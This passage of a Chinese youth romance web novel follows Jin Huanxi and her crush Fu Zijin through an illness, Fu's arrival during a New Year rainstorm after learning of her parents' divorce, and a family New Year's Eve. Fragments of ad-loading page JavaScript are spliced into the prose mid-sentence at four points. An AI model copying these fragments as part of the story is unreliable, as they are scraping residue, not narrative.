金欢喜勉为其难地点了点头。她打心眼里觉得自己的身体素质比蓝燕仪好,现在这个情况,应该是昨天晚上睡眠不足,免疫力下降。 “回家吧。” 和小雨告别后,三人也要各回各家。付子衿被司机接走,挥手告别后,蓝燕仪用力拍了拍金欢喜的肩膀,告诉她期末考好好努力。 “就算你要考C大,和待在10班也不冲突吧?” 不放过任何一个提升自己的机会,才能不断进步。 金欢喜点了点头。 三年的时间很短,除了提升自我,她也希望能努力离付子衿近一点。 16. 生病 “造孽啊!” 元旦的后一天,金欢喜爬山回来不幸感冒,精神萎靡,陈宝珠在她耳边唠叨了一整天,说她仗着年轻瞎玩,这么冷的天还去玩水。 “没玩水,就是去抓了条鱼。”耳朵听得快起茧子了,金欢喜没忍住,反驳了一句。 “你看看,你看看,抓鱼没下水?下水没玩水?搞成这样,假期都只能窝在床上,身子就是这么搞垮的。”一反驳,陈宝珠的念叨就像是唐僧在念紧箍咒,嘀嘀咕咕,说个没完,越听越头疼。 金欢喜乖乖闭嘴了,只要没回应,陈宝珠说累了,就会自己走了。 果然,过了五分钟,陈宝珠念叨完了,见没人回应,顿觉无趣,走出了房间。这还没完,过了一会儿,她又跨回门内,紧盯着金欢喜,说了句不要出去吹风,才真正离开了房间。 没了动静,金欢喜才敢从枕头底下掏出手机。 蓝燕仪正在群里大肆发送并赞赏自己拍的照片。 【烟雨:看这张照片,看看这角度,这色彩,这构图,一切都恰到好处。】 她连着刷了两页屏幕。 【行歌:……别搞。@明月入怀,怎么不说话?】 明月入怀本人紧盯着屏幕,生疏地打字。 【明月入怀:感冒了,小猫哭哭.jpg】 说到感冒,付子衿也得承担一部分责任!要不是她挑衅,她怎么会下水!她们得共同进退。 【行歌:那还能刷题吗?】 金欢喜:…… 这个三人小群是在昨晚由金欢喜拉起来的,原名“富贵姐妹花”,被蓝燕仪嫌弃,改成了“带喜上分”。这上分还不是游戏的上分,而是学习的上分。在这两个人的手底下,金欢喜都能预见自己悲惨的未来。 【明月入怀:我都生病了,你们竟然还想着让我刷题!】 【烟雨:等等,我没说让你刷题哦,所以没有人在意我的图片吗?】 【行歌:还能看消息,应该不严重,有空做一张卷子吧。】 【烟雨:付子衿!金欢喜!你们是故意的吧?我要单方面和你们绝交1分钟!】 自动过滤蓝燕仪气急败坏的消息,金欢喜合上了手机,困倦地靠在床头,感觉哪哪都提不起劲,年纪轻轻,就感到肌无力。 做个废人也不错!她不确定地想。 “叮”一声,手机上弹出一条好友私信。 【行歌:生病吃药了吗?现在还难受吗?】 【行歌:小猫.jpg】 【行歌:在这里放一只小猫,摸摸小猫,就不难受了。】 金欢喜凝视了一会儿那只端正站着的黑白小猫,弯了弯嘴角。她发现了,付子衿在网上表现得比平常活跃得多。这要是刚好在她面前,只会板着脸说好好休息。温柔的关心?或许在梦里能够实现吧。 【明月入怀:好。】 或许喜欢的人真的能给予自己力量,等回到学校的那天,金欢喜已经彻底痊愈,变回先前神采奕奕的样子。 然而后排的蓝燕仪就像是在假期遭了罪一样,有气无力地趴在桌上。 “怎么了?” 蓝燕仪没抬起头,头埋在手臂里,闷闷道:“和爸妈吵架了。”她的语气没有起伏,似乎已经习以为常。 “元旦的时候吵架?”没想到新的一年,有人开头就被生活暴击。 “无所谓。”蓝燕仪摆摆手,显然不想再展开这个话题,她抛出另一个话题,“你觉得画画的人都喜欢什么东西?礼物的话送什么好?” “你喜欢的人?”金欢喜压低了声音,认真思索了一下,“投其所好,如果喜欢画画,应该是送颜料吧?”金欢喜并不了解这个领域,只能胡乱提出一个真诚的建议。 她还挺好奇,蓝燕仪那鬼画符一样的画画技术是怎么认识擅长画画的人的。 蓝燕仪点了点头,又告诉她一件事:“你知道吗?付子衿今天没来上学。” 金欢喜一愣,追问:“怎么了?生病了?”是爬山吹了冷风? 蓝燕仪摇摇头:“不清楚,她请了半天假,我听十班的人说的。” 付子衿请假一事在十班引起了轩然大波,毕竟卷王每天来得早,走得晚,这还是第一次请假。各种各样的猜测层出不穷,最可信的就是金欢喜所说的“生病论”。 上午下了课,金欢喜跑去十班,果然看到付子衿整齐的桌子,仍旧保持着元旦假期开始前的样子。 “欢喜,付姐请了一个上午的假,要到下午才来。”认识她的几个同学看见她,友善地招了招手,提醒她。 “麻烦看到她回来以后跟她说一声我找过她,谢谢!”金欢喜双手合十,请求似的晃了晃,得到同学肯定的答复。 然而,一直到了放学,付子衿也没有出现。 蓝燕仪戳了戳金欢喜的后背。 “别愁啦,我听说付子衿下午第一节课就回来了。” 那为什么没有来呢?金欢喜最了解付子衿,她一旦知道她找过她,是一定会过来的。 “欢喜,下雨了!你带伞没有?哎呀,明明不是梅雨季节,最近怎么总是下雨。”蓝燕仪抱怨了几句,伸手在金欢喜面前晃了晃,“欢喜?欢喜?走神了?” 金欢喜回过神,吓了一跳,后靠了一下:“抱歉抱歉,刚刚想起一件事情,入迷走神了。” “带伞了吗?” “带了。” “还在担心子衿?”蓝燕仪一眼看透了她的心思。 “嗯。”虽然她也没有掩饰的意思。 “其实……”蓝燕仪犹豫片刻,还是出卖了付子衿,“她发烧了,现在已经回宿舍了。”似乎病得不轻,蓝燕仪还知道她特意让十班的同学不要告诉金欢喜她生病的事。这人啊,生了病真的变成笨蛋了,这不是迟早会被发现的事吗? 金欢喜掏出桌子里的伞,急迫道:“那我们去看她!” 蓝燕仪连忙摇了摇头:“你去吧。”她要是跟着一起去了,不就相当于直接告诉付子衿她泄密了吗?她又不傻。 金欢喜拉住她的手,笑着威胁:“等等,子衿肯定是爬山吹冷风发烧的,你可是提出要去爬山的人,不好意思不去看她吧?” 蓝燕仪被这话堵得说不出话,只好拿了伞,心虚地和她一起去了付子衿的宿舍。 撑着伞走过教学楼,进了女生宿舍,到了宿舍门口,两人面面相觑。灯是亮的,证明里面有人,但不知道付子衿睡了没。 “你敲门啊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” “你敲啊。” “付子衿睡了怎么办?” “那我们也得看一眼吧。” “那你敲门啊。” “你敲。” “你!” “你!” “不好意思,你们可以直接进来。”蓝燕仪的老同桌,十班的纪律委员——游梦珂一声不吭地打开了门。 在门口小声争执的两人立刻停下争吵,在原地傻呆呆地站着。 游梦珂看了她们俩好几眼,侧过身让出一条路:“进来吧,她没睡。” 两人道了歉,溜进门,正对上付子衿探究的目光。 蓝燕仪咳嗽一声,一想到被付子衿听了一耳朵,就想回到过去把在门口的自己掐死,她瞟了一眼小脸烧得通红的付子衿,关心道:“子衿啊,你好点了吗?” “你告诉她的?”付子衿略过这刻意的寒暄,示意她看一眼金欢喜。 “她自己问的!”蓝燕仪小声反驳。要不是这家伙生着病,她非得好好和她扳扯扳扯,世界上哪有不透风的墙!更何况,她又不是什么守口如瓶的好人。 金欢喜上前一步,挡住了蓝燕仪,让付子衿的目光停留在她身上。 “是在山上吹了风吗?”她有些自责,那天下了雨,本该叮嘱她回家后先洗个热水澡,再好好休息的。结果建了群,三个人太兴奋,在新群里聊了一个晚上。 “跟这个关系不大。”付子衿有些失神,喃喃了一句。 “什么?” 金欢喜没听清,向前走了几步,被她制止了。 “没事,我可能会传染你,离我远点吧。”她嗓子发烫,说起话来刺刺的疼,说久了痛,也就没什么精神。 “晚上吃饭吃药了吗?”金欢喜没办法,只能蹲在床尾那,探着头问她,见她神色恹恹,又补了一句,“不用说话,点头摇头就可以。” 付子衿点了点头。 方才熄了灯,她又热又痛,翻来覆去,实在睡不着,最后游梦珂走过来,说帮她倒杯水,可能会好受点。刚开了灯不久,就听见外头的脚步声,正好听见了这两人在外面互相推脱。 现在看见了金欢喜,见她一脸担忧,付子衿都没心思关注自己的身体状况,反而觉得有些困了。 她半睁着眼,最后说了一句:“你们回去吧,我没事。” 没等到金欢喜回应,她就一倒头,沉沉睡去。 金欢喜走上前,给她捏了捏被角,把碎发挑到两边,伸手摸了一下额头。 还好,摸上去不是特别烫,应该是药开始发挥作用了。 她转过身,拜托游梦珂多看着点付子衿,和蓝燕仪轻手轻脚地离开了。 到了第二天,付子衿不再发热,又兴致勃勃地开始督促她的好学生刷题。两个刚生完病的卷王又开始了自己的刷题生涯。 “喜姐,期末考11名!要是月考就能去10班了!” 福祸相依,虽然在新的一年的开头生了病,金欢喜却得了个有史以来最好的名次,付子衿也第一次真正意义上超过蓝燕仪,拿下了第一。 在一切看起来蒸蒸日上的时候,并不平静的新年到来了。 下暴雨的这一天,付子衿出现在她面前。 17. 卑劣 倘若有一天,你的暗恋对象在暴雨的日子里,浑身湿透地站在你面前,你会作何感想呢? 金欢喜……金欢喜根本不敢想。 等大脑恢复思考,脑海中第一个冒出来的念头是:怎么大病初愈又淋雨? 几分钟前。 【行歌:我在你家门口。】 还在陪陈宝珠嗑瓜子的金欢喜看到这条消息的时候,还以为这是付子衿的新年恶作剧。直到她半信半疑地推开门,看见外面穿着浅白色毛衣的付子衿,死气沉沉地站在那。 因为没穿外套,她浑身被雨淋透,毛衣黏在了身上,连同那垂下的指尖、头发的尾梢都在滴水。 付子衿在视线里看见她的脚,依旧垂着眸,向前,撞进她怀里,湿哒哒的衣服紧贴着她毛茸茸的睡衣,寒意扑面而来。 她贴得有点近,发间的雨水滚落,有几滴落到金欢喜的脸上,顺着脖颈下滑,流过锁骨,凉得她一个哆嗦。 “轰隆隆。” 雷声大作,大雨倾盆,分明是白日,却乌云滚滚,恍如末日。 大门处悬挂的红色灯笼被风吹得摇摇晃晃,站在屋檐下的两人挤在一块,分明是湿的,却莫名的热。 金欢喜先伸手擦了擦她脸上的水珠,又落下,搭在她毛衣的末端上,揪住一角,只是稍稍用力,便轻易挤出一滩水来,打湿了手心。 付子衿没抗拒,甚至又贴近了一些。金欢喜一顿,犹豫片刻,从她腰侧把手伸进衣内,才发现她只穿了一件毛衣,内里也全是水,腰间凉得刺骨。 不用想也知道,绝对会生病。 “先进去换衣服,洗个热水澡,怎么穿这么少?” 触及微凉的肌肤,金欢喜把手一缩,不敢看她,低头拉着她往里走,又被用力抱住。 “你会永远留在我身边吗?” 似曾相识。 敬安山上,她曾经问过她,她们是不是永远都是好朋友。 金欢喜凝视着她湿漉漉的眼睛,在她瞳孔中看见自己的倒影,再一次许下承诺。 “永远。” “咔嚓咔嚓……”陈宝珠在里屋门边磕着瓜子,不知道看了多久。 方才还信誓旦旦的金欢喜僵硬地转过身,对上她妈若有所思的目光。 “欢喜,这个是你高中同学?” 对了,她妈还没见过付子衿。 “她是……” “阿姨好,我是付子衿,欢喜的同桌,过年突然过来,打扰了。” 付子衿紧抓着她的手,鞠躬致歉。 陈宝珠突然放下了手中的瓜子,热切地走到门口:“哎呀,你就是付子衿同学啊?瞧瞧,瞧瞧,你这孩子,怎么淋着暴雨过来,要见欢喜,给她发个消息,我让她爸去接你。” 金欢喜:? 她眼睁睁地看着她妈亲切地拉起付子衿的手,笑靥如花,一扭头,看见她,立刻沉下脸,催促她带付子衿去浴室洗澡换衣服。 金欢喜傻呆呆地应了,麻木地走进屋,带付子衿走到浴室,还给她拿了件自己的睡衣。 “先洗个热水澡,衣服是洗过的。” 等到回到客厅,她突然回过神来。 我在做什么? 这回还是大白天,因为下了暴雨,金欢喜和她妈都没出门,就窝在家里看电视。 难道我在白日做梦? 期末考之后,因为没再见过付子衿,思念成疾? 金欢喜从客厅的沙发上站起身,在她妈看变态一样的目光下一步一顿地走到了浴室边。 里头传来“哗啦啦”的水声。 竟然不是做梦。 那……她妈刚刚看到了多少? 起码在现在,金欢喜还没打算把“自己喜欢女生”这件事告诉父母。 “大喜?” 金欢喜望过去,陈宝珠坐在沙发上,疑惑地看着她,似乎没有多想。 不能做贼心虚!她迈着步子,表面克制着,实则颤颤巍巍地坐回了陈宝珠身侧。 “那个就是你说的一直带着你学习的付子衿同学?”陈宝珠紧盯着电视屏幕上的广告,不动声色地捏紧了手中的瓜子。 “嗯。”金欢喜盯着地面,回了一句,又道,“妈妈你千万别问她发生了什么事。” 这样的大雨天,不撑伞就淋着雨过来,还刚好是过年的日子,很难不多想。 “她爸爸妈妈不担心吗?”陈宝珠提醒了句。就算付子衿今天要留在这里,也不能啥都不说,必须告诉她家里人一声,离家出走,不知道她父母得多着急。 闻言,金欢喜发消息给吴华森,麻烦他和付子衿爸爸妈妈说一声。 屏幕上的“对方正在输入中”停滞了许久,最后,吴华森发过来一句简洁的“好的”,没过多久,又发来一句“麻烦你先照顾她”。 这应该是付子衿家长的回复。不用再担心付子衿的留宿问题,金欢喜松了一口气,后知后觉地发现她妈根本没在看电视剧。 知道付子衿的家长同意了留宿,陈宝珠突然站起身,转身进了厨房,没过多久,传来烧水的声音。 金欢喜跟着她进了厨房,看她从柜子里拿出了姜茶。 “大喜,今天你和你同学一起睡吗?” 沉默许久后,陈宝珠看着水壶,突兀地问了一句。 “啊,嗯。” “要不要再给你们拿床被子?”陈宝珠今天格外有耐心。 “好的,谢谢妈妈。” “大喜。” “嗯?” “咕噜咕噜咕噜……”水烧开了,陈宝珠把水倒进放了姜茶的杯子里,仅仅看了她一眼,什么也没再说。 “阿姨……欢喜……”付子衿局促地站在厨房门口,身上还冒着热气。 陈宝珠瞥了眼金欢喜:“喝完姜茶,你带人家去吹头。等会你爸买东西回来了,你们再换身衣服一起出来吃饭。对了,你柜子里有买的新衣服,你们身形差不多,给人家穿。” 心里有鬼的金欢喜乖巧地点头,监督付子衿喝了姜茶,把她带到自己的房间。 “你先坐着,我拿一下吹风机。”金欢喜把她摁在凳子上,打开了柜子。 “对不起。” 拿着吹风机,金欢喜无奈地走回她身侧,插插头,开开关,热风二挡。 呼呼的风声里夹杂着她的叹息。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “不要和我说对不起。” 头发被温柔地抓起,荡开的热气让大脑变得迟钝,付子衿抠了抠手指,全盘托出。 “我爸妈要离婚了,这次是真的。” 这次? 似乎知道她心中所想,付子衿很快解开了她的疑惑。 “六年级的时候,他们大吵了一架,闹到了民政局门口,我无法接受他们分开,用死威胁了他们。他们害怕了,告诉我,他们不会离婚。” 从小到大,她的父母相敬如宾,是他人眼中的模范夫妻。对付子衿来说,这件事出现得突然,消失得也突然。虽然父母最后没能离婚,还是给她造成了不小的心理阴影。 “我从小跟在他们身边,无法和他们其中任何一个人分开。现在想想,当时他们要是真的分开了,或许现在的我已经释然了吧。”她自嘲一声,转了转睡衣上的纽扣,“从那时候开始,我不再相信任何人。” 任何人都会离开。 “我曾经憧憬爱情,憧憬找到一个像我父母一样合拍的人。”现在看来,那都是表象,“后来我发现,爱情才是所有感情里最脆弱的东西。” 金欢喜摸着她微干的头发,指尖嵌入发间,一下,一下,又一下,从头梳到尾,她没说话,只是安静地倾听。 “上初中的时候,我碰到了你。” 此时的付子衿敏感多疑,又迫切地想要拥有自己的“东西”。 世间上没有无缘无故的好意,她教金欢喜学习,不动声色地占据她的时间,成为她除了家人外最亲近的人。 金欢喜的手摩挲了一下她的发尾,恍然大悟,那声对不起是对“有目的性地和她交朋友”的致歉。 但是她……竟然感到高兴。 心底的卑劣如同杂草一般,纵然被野火焚烧,春风一吹,又是遍地青青。 金欢喜从不怀疑一件事:她是最了解付子衿的人。在意识到自己喜欢付子衿的那一天,她想了很多很多,最清晰的目标,当然就是确定付子衿的心意,让付子衿喜欢上她。 如今,机会就摆在面前。 心疼与卑劣同时生长,竟有微微的痛意。 付子衿是在乎她的,只是这在乎更多集中在“友情”的层面上。即使再浓郁、再沉重,也不是她想要的。她想要的,是更亲近,更亲密。 蓝燕仪没有说错,她在付子衿身边,只能看到付子衿。就像现在,在错愕的同时,她竟然还有心思想,要是付子衿的爸妈离婚,她刚好趁虚而入,就像当初,她在初中那一天,意外闯入她的世界。 去更远的地方看一看吗? 蓝燕仪的声音越来越遥远,微不可闻。 不。世界很大,但在付子衿身边对她来说从来都不是囚笼,而是她自愿被束缚的选择。 “不要说对不起,相信我吧。”她的手颤栗着,放在椅背上,手指因为用力显得苍白,“以朋友的身份。” 付子衿转过头,被她眼底的灼热烫了一下,仓皇地移开了视线。 “嗯。” 细若蚊蝇。 在卑劣如同野草般疯长的当下,金欢喜无可奈何地发现,占有欲已悄然滋生新芽。 18. 家人 “子衿……” 金欢喜撩起她干了的长发,轻抚那片雪白的后脖颈。 付子衿瑟缩了一下脖子,疑惑不解。 “怎么了?” “我……” “咚!咚!咚!”门口传来敲门声。 “大喜!大喜!爸爸回来了!” 金欢喜:…… 她收起吹风机,笑着摇了摇头:“没事,换件衣服出去吧。” 她真是昏了头,竟然有一瞬间生出占有的欲望。 …… “哎呀,同学,我和欢喜她爸就厚着脸皮,叫你子衿,这么多年,真是辛苦你了,一直带着我们家欢喜学习,要不是你,欢喜考上好高中都不知道还要多久。”陈宝珠拉着付子衿的手,絮絮叨叨,时不时拍拍她的手背。 坐在她身边的付子衿窘迫地低下头。 原本就是别有用心才去做的事,反而得到他人的夸赞。倘若地上有个细缝,付子衿希望自己现在马上变成一粒尘埃,钻进地缝里,永远不出来。 金大富在一旁搓了搓手,又搓了搓手,实在插不进话,只能踢了一脚金欢喜的小腿,叫她和自己一起到车里去拿东西。 无辜被踹了一脚,金欢喜愤愤起身,跟着她爹一块撑伞走了出去。 一走出门,金大富就开始原地转圈,来回踱步,瞪她。 “子衿要来,你怎么不提前说?都没准备点丰盛的菜。” “我……”我怎么知道会来,金欢喜心里嘀咕了一句。又想起付子衿的落寞,一咬牙,背了锅,“是我忘了,她爸爸妈妈不在家,所以过来住一天,我们现在出去买?” 她爹这人是个死脑筋,要是知道付子衿是离家出走来的,肯定要打破砂锅问到底,多一事不如少一事,认了得了,反正也不会少块肉。 “那你去问问,子衿去不去。” 憋了会,金大富终于说出了自己的真实目的。 其实他买的菜不少,也称不上不丰盛,实在是在里头插不上话,想要曲线救国。那可是付子衿!被他们闺女念叨了好几年的学霸,他在那眼巴巴坐了半小时,就说上了一句话。 付子衿这三个字在夫妇俩心里有特殊意义。一,她是自家闺女的老师。二,她是自家闺女唯一一个老提起的朋友。 金大富第一眼见她:俊啊! 第二眼再看:有缘,和我们家有缘。 第三眼:没有第三眼了,小姑娘已经被他老婆夸得害羞得不行,全程低着头。 金欢喜撇了撇嘴。 兜了这么大一个圈子,原来是这么个算盘。你这算盘响的,就像在我耳边打的一样! 金欢喜看了一眼她望眼欲穿的老爹,终归是心中不忍,麻溜地进了屋。 当然,无利不早起。今日行善,以后踹柜门的时候,她爹总得手下留情吧。 “子衿,晚上不是要吃年夜饭吗?你要不要和我们一起去买菜?” 只冒出半个头,陈宝珠就像早有预料一样乐呵呵地站起身:“这样啊,那我也一起去吧,子衿跟着我一起坐后边。” 付子衿紧随着陈宝珠站起身,贴在她身边,乖得不行。 金欢喜无意识地皱了皱眉,怎么感觉她妈特别关注子衿?是因为子衿离家出走的原因吗? “快走!” 回过神时,陈宝珠伸出指头在她额头轻轻弹了一下,就慢悠悠地绕过她出了门。 跟在后头的付子衿伸手摸了摸她额头的红印,偷偷笑了一下,也出去了。 呆在原地的金欢喜深呼吸了好几下,才缓过劲,追了上去。 坐上金家的小汽车,付子衿倒是发现一件事——金家好像没那么穷? 不过她没来得及细想,就被陈宝珠的话吸引了注意力。 “刚刚不是说到小学,这初中啊,乐子更多。” “您说。”付子衿两眼放光,紧挨着陈宝珠。 坐在前排的金欢喜和金大富同时竖起耳朵,好奇她们在聊什么。 “刚上初中不久,大喜来了月经。” 金欢喜拽着安全带,眼前一黑,等等,这是可以说的吗?而且,为什么变成大喜了?诶?初中?那小学呢? 问题太多,思考不过来了。 “她流了血,裤子红了,哭哭啼啼在纸上写了遗书,找到我和她爹,说她得了绝症,止不住血,要死了,之后把她的器官捐给有需要的人。” 好好开着车的金大富回想起女儿小花猫一样的脸,“噗嗤”一声笑了出来。 “妈!”金欢喜坐在副驾驶上,尴尬到脚趾抠地,感觉再用点力,就能轻轻松松把车底座抠穿,“别说了,别说了。”她真想现在就下车跪地求饶。 付子衿抿了抿唇,认真看着她。 “我想听。” 于是这个故事继续讲了下去。 “我一看到遗书,还以为这孩子撞到哪了,痛得不行,就要带她去医院。一看她裤子,马上带她去厕所看,原来是来了月经。唉!之前没跟她讲过这件事,把她吓着了。那封遗书我现在还留着呢,上面写了,她永远爱爸爸妈妈,希望我俩不要难过。”陈宝珠捂着嘴笑,高兴的同时,又有些怅然若失。 时间过得太快了,好像前天大喜还拉着她的衣服哭,一转眼,就上高中了,甚至……她看了眼付子衿,看见她望着前面的欢喜,眼底是温柔的笑意。 “还有……” “妈!到了!到了!” 前方就是停车场,为了防止自己的糗事在短短一天内被爆料完,金欢喜激动地喊出了声。 下了车,陈宝珠带着金欢喜和付子衿在路边等金大富停好车,有拎着菜的老奶奶路过,似乎是陈宝珠的熟人。 “哎呀,宝珠,原来你家里有两个女儿啊。像,真像你!” 这是一句再寻常不过的客套话,陈宝珠没有反驳,点头附和:“嗐,是,两个都像吧,大家都这么说。” 金欢喜就站在她妈身后,看不清她妈的表情,却能清晰地听见她妈说的话。 她拉了拉她妈的衣角,声音有些颤抖。 “妈妈?” 陈宝珠是非分明,喜欢讲道理、求事实,金欢喜能成为一个“好人”,离不开她的教导。同样,受陈宝珠教导长大的金欢喜也了解陈宝珠,她是不会随便认其他人做自己的女儿的,即使是曾经帮助过金欢喜的付子衿。 时隔多月,金欢喜终于想起一件事——在她溜进父母卧室的那个晚上,因为太兴奋,她忘记了删第二次的搜索记录。 一月的寒风仿佛钻进了衣领,从里到外溜达了一圈,使她浑身发冷。 陈宝珠回过头,摸了摸她的头,只说了一句话:“怎么了?冷?” 金欢喜摇摇头,想问,问不出口。 “放心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陈宝珠似乎明白了她的意思,轻轻拍了拍她的肩。 小时候犯了错,陈宝珠就会这样拍拍她,为她保守秘密。 这一次也一样。 “我只是太爱你了,妈妈。”金欢喜不知道该说些什么。 金大富跨大步走了过来,站定在付子衿身侧:“行行行,你爱你妈去,我认子衿做我干女儿,我们当场分家。” 这怎么行? 金欢喜瞪大眼睛,走上前靠在付子衿身侧,嘀咕:“那还是你去爱妈妈吧。” 金大富哈哈大笑,见付子衿呆站着,说他只是开个玩笑,转头和陈宝珠一块走进了菜场。落在后头的两人对视一眼,欲言又止。 “冷吗?”最后,付子衿摸了摸脖子上的围巾,先开了口。 她还以为她是因为受了寒。 “冷。”她只能睁着眼睛说瞎话了,总不能说事实吧。 付子衿摘了围巾,围在她脖子上:“阿姨给的,你用吧。” 熟悉的气息萦绕在鼻尖,金欢喜晕晕乎乎地看向她,短短几秒,脸涨得通红,一伸手,又把围巾缠回了她脖子上,一圈又一圈,差点勒死她。 “没事没事,我突然感觉很热,一定是车上太冷了。” 金欢喜摆摆手,拉着她往里走。 诶?车上明明开了热空调。 付子衿跟在她后头,松了松围巾,吸了两口新鲜空气,头脑风暴。 在前头越走越快的金欢喜数着地面的格子。 一格,两格,三格,四格……好好好,不要再想刚刚的事了! 对了,怪不得觉得气味熟悉,原来是因为付子衿用的是她的沐浴露!所以她们身上的气味一样。不对不对!不是说好不再想了吗! 金欢喜晃晃脑袋,试图把脑海中的阴暗想法甩出去。 身后的付子衿用力拉了拉她,无奈地指了指旁边。 “过头了。” 金大富和陈宝珠两人正站在鱼贩边上,一言难尽地看着自己的女儿。 陈宝珠还能摸着点门道,金大富纯纯就是两眼一抹黑了,面对金欢喜的异常举动,只能怀疑她平时是不是压力太大,这次考太好受了刺激。 于是他心疼地把金欢喜拉到那盆鳜鱼面前,让她选条鱼。 “家里不是有活鱼吗?” 金大富摇摇头:“那是鲤鱼。” 有什么区别?不都是求个好兆头吗?金欢喜不明所以,随意指了一条较为活跃的鳜鱼。 陈宝珠站在一边,拧了拧金大富的胳膊,疼得他差点嗷嗷出声。 金欢喜不清楚,她可知道,鳜鱼在富贵村里有特殊寓意,说是给孩子吃了会变聪明。 好在金欢喜没心没肺,不在乎这个。 两个大人领着孩子们逛了一圈菜场,付子衿大开眼界,第一次清晰认知到现在的物价,一对比,和悦的超市比这边菜场卖得贵得多。 又买了一大堆东西,四人准备回家做饭。 “感觉会是最开心的一次年夜饭。”付子衿靠在金欢喜旁边,拎着两罐红毛丹。金大富和陈宝珠走在前面,重物都在金大富身上,远远看,好像一家人。 “以后会更开心。” 金欢喜把手里的塑料袋换到另一只手上,牵起她的手。 还有很多话想说,但是太早。她们的时间还长,可以慢慢来。 19. 愿望 “大喜,你带子衿出去玩吧。” 金大富收拾收拾桌上的残羹冷炙,看了眼金欢喜。 “不是还要放烟花吗?” 刚才吃年夜饭的时候,邻居家已经放了烟花,噼里啪啦的。 “哎哟,雨一停就开始放烟花,要我说啊,不会再下雨了。你们出去玩烟花棒,过半小时回家。” 陈宝珠从橱柜上拿出一把烟花棒,分成两份,塞进俩小孩手里。 “好的——”金欢喜拉长了声音,抓着付子衿的手腕就要跑。 “等等!别心急,打火机拿着。”陈宝珠揪住她的后衣领,提溜了一下,让她停住了脚步。 金欢喜恭敬地接过打火机,在陈宝珠的念叨声中带着付子衿跑出了门。 “这个怎么玩?”付子衿举起手里五颜六色的烟花棒,好奇地问。 城里不允许放烟花,除了大型烟花秀,付子衿并没有玩过这样需要手持的烟花。 金欢喜靠在她手边,握住她的手,替她捋了捋烟花顶端的粉红色引燃纸:“这个叫仙女棒,点燃的时候会有火花溅开,像空中的烟花一样。” 她点燃了顶端。 橘黄色的火焰跳动了一下,在她们期待地目光中渐渐熄灭。 金欢喜尴尬地摸摸鼻尖:“这个质量参差不齐,会有点不着的时候。”见付子衿一脸失望,连忙找补,“没事的,只要点燃一根,放在这一根上,也能点着。” 坚持不懈的努力后,仙女棒终于绽放出耀眼的火花。 付子衿紧紧抓着仙女棒,嘴角下意识地上扬。 然而,这种仙女棒点燃得快,燃烧得也快,没过多久,火花烧到尾端,重新化作火焰。 付子衿拉住金欢喜的手,急切道:“要没了!要没了!” 金欢喜适时地放上自己手里的仙女棒。 一处火焰燃烧尽了,另一处又重新燃起。 “你的爸爸妈妈……” 大年三十,是否该问出这样的问题?金欢喜不清楚。感性告诉她这会让付子衿难过,理性告诉她以后可能再也无法知道答案。 “啊。”付子衿顿了一下,似乎很惊讶,她凝视着金欢喜手中的烟花,及其冷静,“你很好奇吗?” 答案是肯定的。 付子衿的父母是商业联姻。原因很简单,两个人都是事业狂魔,对恋爱嗤之以鼻,到了结婚的年纪,自然而然地听从长辈的话选择了和合作伙伴相亲。 “这么说的话,不是对恋爱不感兴趣吗?” “是啊。” 只是对他们两人中的任何一个人而言,能找到的最优的对象,就是对方。既然如此,不如凑合一下,强强联合。 金欢喜沉默了一会儿,艰难地张口:“很难过吧?” 在没有爱的家里长大,是一种他人无法感同身受的遭遇。 “不。”付子衿摇了摇头,借着她的火点燃了自己手里的仙女棒,“如果我没有感受过爱意,就不会阻止他们离婚。” 那两个人,既不是合格的夫妻,又不是合格的儿女,偏偏是合格的父母。在他们拥有女儿的时候,把女儿当做了最重要的宝物。 “人果然是矛盾的。”金欢喜感慨了一句,更不解,“既然这样,他们为什么不来你的家长会?” “他们大概是有病。” “诶?”金欢喜错愕地望向付子衿。 付子衿看着她,将她的手拉过来,点燃了烟花,认真重复了一遍:“他们大概是有病。” 因为他们最看重的是自己的事业,所以认为事业是留给女儿最好的礼物,反而疏忽了平时和女儿的相处。 “周末的时候,他们都会有一个人在家,但是我们的家长会不是在工作日吗?他们要上班。” 金欢喜不知道说些什么,只能张开手,轻轻抱了抱她。 被安慰的当事人晃了晃烟花,转头问:“欢喜,你怎么看待爱情?” 问题来得突然,金欢喜只能看见她眼中跳动的烟火。 还没给出答案,当事人自问自答。 “果然,人最重要的、最爱的应该是自己吧。” “嗯。”金欢喜附和,不经意地开口,“不过,人要是喜欢上另一个人,肯定喜欢的也是爱自己的人。” 连自己都不爱自己,怎么奢求别人来爱自己? “呀!”付子衿捏了捏她的脸,“没想到你还挺哲学的。” “哦?哲学家能得到什么奖励?” “奖励?等你考到年级前十的话,我答应你一个愿望怎么样?” 愿望。 手里的最后一根仙女棒被拿走,金欢喜站在她身后,凝望着她的身影。 “什么愿望都可以吗?” “诶?”付子衿一扭头,跨步,站在她面前,“你很贪心吗?” 相处这么久以来,她们很少向对方索取,都是默默付出。 “咻!” 腾空升起的烟花直冲云霄,到达最顶端,“砰”的一声炸开,在天空中幻化成一颗颗金元宝。 付子衿站在原地,分不清是烟花太大声,还是心脏在震动。 “很贪心。” 她的声音好轻。 被她眼中的自己烫了一下,付子衿移开视线,嘀嘀咕咕。 明明那么轻,怎么会如此清晰。 …… “怎么样,爸爸买的烟花好看吧。”金大富在家门口插着腰,指了指前面已经放过的烟花盒子残骸。 “怎么不等我们回来放。”金欢喜不用看都知道她爸会放什么烟花,肯定是小金元宝,寓意多挣钱,不过……她爸什么时候放得烟花,她怎么没看见? “你还说!”金大富捂着心口后撤两步,“叫你们半小时回来,都四十分钟了还没影。你妈说了,放个烟花,暗示一下,你们马上回来了。” 这纯纯是阴差阳错。她们俩不是看见烟花回来的,是仙女棒玩完了,事也谈完了,才回来的。 “叔叔,你还买了什么?”付子衿上前解围。 金大富得意地看了眼女儿,指了指另一盒烟花:“这是我特意买的,说是坐在屋子里看,能像满天星一样,铺满整个天空!” 金欢喜捂住脸,摇摇头:“空气污染离不开您的努力。” 金大富一噎,哼了一声,点燃了他昂贵的烟花。 引线烧到了尾,烟花只升到了屋顶上一点,炸开了,小小一点。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 